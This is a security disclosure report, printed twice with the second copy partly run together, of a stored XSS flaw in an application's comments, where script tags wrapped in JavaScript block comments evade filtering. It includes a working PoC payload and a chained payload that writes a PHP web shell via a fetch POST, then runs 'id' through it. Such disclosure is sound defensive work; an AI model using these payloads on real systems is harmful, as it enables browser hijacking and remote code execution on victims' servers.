Summary
Hi,
A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.
The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like /* JavaScriptPayload */.
PoC
Navigate to a site and page that allows comments and place this in the comments section and submit it:
/*<script>alert('pizzapower')</script>*/
Upon submitting to the page, it will run. And then upon every page visit, it will run.
Impact
We can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE with a previous vulnerability I reported like so:
/*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/
Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.
pizza-power Reporter
Summary
Hi,
A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.
The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of
<script>tags, but does not account for payloads obfuscated using JavaScript block comments like/* JavaScriptPayload */.PoC
Navigate to a site and page that allows comments and place this in the comments section and submit it:
/*<script>alert('pizzapower')</script>*/Upon submitting to the page, it will run. And then upon every page visit, it will run.
Impact
We can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE with a previous vulnerability I reported like so:
Then you can visit
http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=idand see the output of the ID command.